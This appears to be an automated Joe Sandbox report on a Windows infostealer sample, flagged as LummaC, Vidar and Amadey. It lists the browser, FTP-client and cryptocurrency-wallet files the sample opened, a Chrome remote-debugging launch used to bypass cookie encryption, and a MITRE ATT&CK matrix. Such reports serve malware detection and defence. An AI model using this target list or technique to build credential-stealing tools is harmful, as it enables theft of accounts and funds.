Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1459340093.0000000001433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1475613413.0000000001433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1488001565.0000000001433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1490995619.0000000001436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1469604188.0000000001430000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1473166707.0000000001433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1491112743.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oaBqkImU6R.exe PID: 7860, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: oaBqkImU6R.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C7EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		4_2_00C7EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C7DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		4_2_00C7DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	121 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Extra Window Memory Injection	4 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	12 Software Packing	Security Account Manager	256 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	21 Scheduled Task/Job	21 Scheduled Task/Job	12 Process Injection	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	1 Registry Run Keys / Startup Folder	21 Scheduled Task/Job	1 Extra Window Memory Injection	LSA Secrets	1071 Security Software Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	111 Masquerading	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	461 Virtualization/Sandbox Evasion	DCSync	461 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	2 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report oaBqkImU6R.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
oaBqkImU6R.exe